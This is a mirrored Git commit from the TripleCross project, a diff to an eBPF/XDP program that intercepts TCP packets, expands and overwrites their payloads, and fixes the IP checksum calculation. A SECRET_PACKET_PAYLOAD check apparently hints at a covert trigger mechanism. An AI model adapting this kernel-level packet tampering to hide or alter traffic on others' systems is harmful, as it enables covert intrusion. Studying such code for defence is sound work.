mirror of
https://github.com/h3xduck/TripleCross.git
synced 2026-01-14 03:33:07 +08:00
Arbitrary payload modification fully works now. Absolutely ridicous the time it took me (2 days) to realize I was computing the ip checksum with the old checksum values, which made it not to work. Finally can keep going
This commit is contained in:
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -122,6 +122,7 @@ int xdp_receive(struct xdp_md *ctx)
|
|||||||
|
|
||||||
bpf_printk("OLD data_end: %i, payload: %i\n", data_end, payload);
|
bpf_printk("OLD data_end: %i, payload: %i\n", data_end, payload);
|
||||||
struct expand_return ret = expand_tcp_packet_payload(ctx, eth, ip, tcp, 2);
|
struct expand_return ret = expand_tcp_packet_payload(ctx, eth, ip, tcp, 2);
|
||||||
|
bpf_printk("Control back to main program with retcode %i\n", ret.code);
|
||||||
if(ret.code == 0){
|
if(ret.code == 0){
|
||||||
//We must check bounds again, otherwise the verifier gets angry
|
//We must check bounds again, otherwise the verifier gets angry
|
||||||
ctx = ret.ret_md;
|
ctx = ret.ret_md;
|
||||||
@@ -156,14 +157,14 @@ int xdp_receive(struct xdp_md *ctx)
|
|||||||
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload
|
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload
|
||||||
//Line 6367 https://lxr.missinglinkelectronics.com/linux/kernel/bpf/verifier.c
|
//Line 6367 https://lxr.missinglinkelectronics.com/linux/kernel/bpf/verifier.c
|
||||||
if(payload_size < 0|| payload_size>88888){
|
if(payload_size < 0|| payload_size>88888){
|
||||||
bpf_printk("exploding heavily\n");
|
bpf_printk("Unlikely you are here, but OK\n");
|
||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
}
|
}
|
||||||
if(payload_size -1 < data_end - (void*)payload ){
|
/*if(payload_size -1 < data_end - (void*)payload ){
|
||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
}
|
}*/
|
||||||
|
|
||||||
//Revise this, the idea is to use payload_size, but th everifier keeps thinking it will go out of bounds
|
//Revise this, the idea is to use payload_size, but the verifier keeps thinking it will go out of bounds
|
||||||
//Also, note that sizeof(..) is returning strlen +1, but it's ok because
|
//Also, note that sizeof(..) is returning strlen +1, but it's ok because
|
||||||
//we do not want to write at payload[6]
|
//we do not want to write at payload[6]
|
||||||
if((void*)payload + sizeof(SECRET_PACKET_PAYLOAD) +1 > data_end){
|
if((void*)payload + sizeof(SECRET_PACKET_PAYLOAD) +1 > data_end){
|
||||||
@@ -176,7 +177,8 @@ int xdp_receive(struct xdp_md *ctx)
|
|||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
}
|
}
|
||||||
char* temp_data = (char*)payload;
|
char* temp_data = (char*)payload;
|
||||||
payload[5] = 'a';
|
payload[4] = 'a';
|
||||||
|
payload[5] = '\0';
|
||||||
|
|
||||||
bpf_printk("BPF finished with ret %i and payload %s of size %i\n ", ret.code, payload, payload_size);
|
bpf_printk("BPF finished with ret %i and payload %s of size %i\n ", ret.code, payload, payload_size);
|
||||||
}else{
|
}else{
|
||||||
@@ -185,7 +187,7 @@ int xdp_receive(struct xdp_md *ctx)
|
|||||||
data_len_next = data_end-data;
|
data_len_next = data_end-data;
|
||||||
bpf_printk("Previous length: %i, current length: %i\n", data_len_prev, data_len_next);
|
bpf_printk("Previous length: %i, current length: %i\n", data_len_prev, data_len_next);
|
||||||
bpf_printk("NEW data_end: %i, payload: %i\n", data_end, payload);
|
bpf_printk("NEW data_end: %i, payload: %i\n", data_end, payload);
|
||||||
bpf_printk("And on NEW CTX data_end: %i, payload: %i\n", ctx->data_end);
|
bpf_printk("And on NEW CTX data_end: %i, payload: %i\n", ctx->data_end, payload);
|
||||||
char payload_to_write[] = "hello";
|
char payload_to_write[] = "hello";
|
||||||
|
|
||||||
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ static __always_inline unsigned short checksum(unsigned short *addr, int nbytes)
|
|||||||
if(nbytes>0){
|
if(nbytes>0){
|
||||||
sum +=htons((unsigned char)*addr);
|
sum +=htons((unsigned char)*addr);
|
||||||
}
|
}
|
||||||
|
|
||||||
while (sum>>16){
|
while (sum>>16){
|
||||||
sum = (sum & 0xffff) + (sum >> 16);
|
sum = (sum & 0xffff) + (sum >> 16);
|
||||||
}
|
}
|
||||||
@@ -34,30 +34,34 @@ static __always_inline unsigned short checksum(unsigned short *addr, int nbytes)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
static __always_inline uint16_t csum_fold_helper(uint32_t csum)
|
static __always_inline __u16 csum_fold_helper(__u32 csum)
|
||||||
{
|
{
|
||||||
bpf_printk("csumA: %u\n", csum & 0xffff);
|
//return ~((csum & 0xffff) + (csum >> 16));
|
||||||
bpf_printk("csumB: %u\n", csum >> 16);
|
//The following solves some errors where the last summatory overflows
|
||||||
bpf_printk("csumA+B: %u\n", (csum & 0xffff) + (csum >> 16));
|
|
||||||
bpf_printk("csumNEG(A+B): %u\n", ~((csum & 0xffff) + (csum >> 16)));
|
|
||||||
#pragma unroll
|
#pragma unroll
|
||||||
for (int ii = 0; ii < 4; ii++) {
|
for (int i = 0; i < 4; i ++) {
|
||||||
if (csum >> 16)
|
if (csum >> 16){
|
||||||
csum = (csum & 0xffff) + (csum >> 16);
|
csum = (csum & 0xffff) + (csum >> 16);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return ~csum;
|
return ~csum;
|
||||||
}
|
}
|
||||||
/**
|
/**
|
||||||
* IP checksum calculation.
|
* IP checksum calculation.
|
||||||
* Following RFC 1071, using BPFs.*
|
* Following RFC 1071, using BPFs.*
|
||||||
*/
|
*/
|
||||||
static __always_inline void ipv4_csum(void *data_start, int data_size, uint32_t *csum)
|
static __always_inline void ipv4_csum(void *data_start, int data_size, __u32 *csum)
|
||||||
{
|
{
|
||||||
bpf_printk("csum: %u\n", *csum);
|
//WITH EBPF HELPERS
|
||||||
*csum = bpf_csum_diff(0, 0, data_start, data_size, *csum);
|
bpf_printk("csum: %u for data_start %u, data_size %i\n", *csum, data_start, data_size);
|
||||||
bpf_printk("csum: %u\n", *csum);
|
|
||||||
|
unsigned char* p = (unsigned char*) data_start;
|
||||||
|
for(int ii = 0; ii<20; ii++){
|
||||||
|
bpf_printk("B%i: %x\n", ii, p[ii]);
|
||||||
|
}
|
||||||
|
|
||||||
|
*csum = bpf_csum_diff(0, 0, data_start, data_size, *csum);
|
||||||
*csum = csum_fold_helper(*csum);
|
*csum = csum_fold_helper(*csum);
|
||||||
bpf_printk("csum: %u\n", *csum);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -85,7 +85,8 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
|
|||||||
//We modify the fields we care about of the headers
|
//We modify the fields we care about of the headers
|
||||||
bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
||||||
ret.ip->tot_len = htons(ntohs(ret.ip->tot_len) + more_bytes);
|
ret.ip->tot_len = htons(ntohs(ret.ip->tot_len) + more_bytes);
|
||||||
uint32_t csum = 0;
|
__u32 csum = 0;
|
||||||
|
ret.ip->check = 0;
|
||||||
ipv4_csum(ret.ip, sizeof(struct iphdr), &csum);
|
ipv4_csum(ret.ip, sizeof(struct iphdr), &csum);
|
||||||
ret.ip->check = csum;
|
ret.ip->check = csum;
|
||||||
bpf_printk("after: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
bpf_printk("after: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
|
||||||
@@ -96,4 +97,8 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
Reference in New Issue
Block a user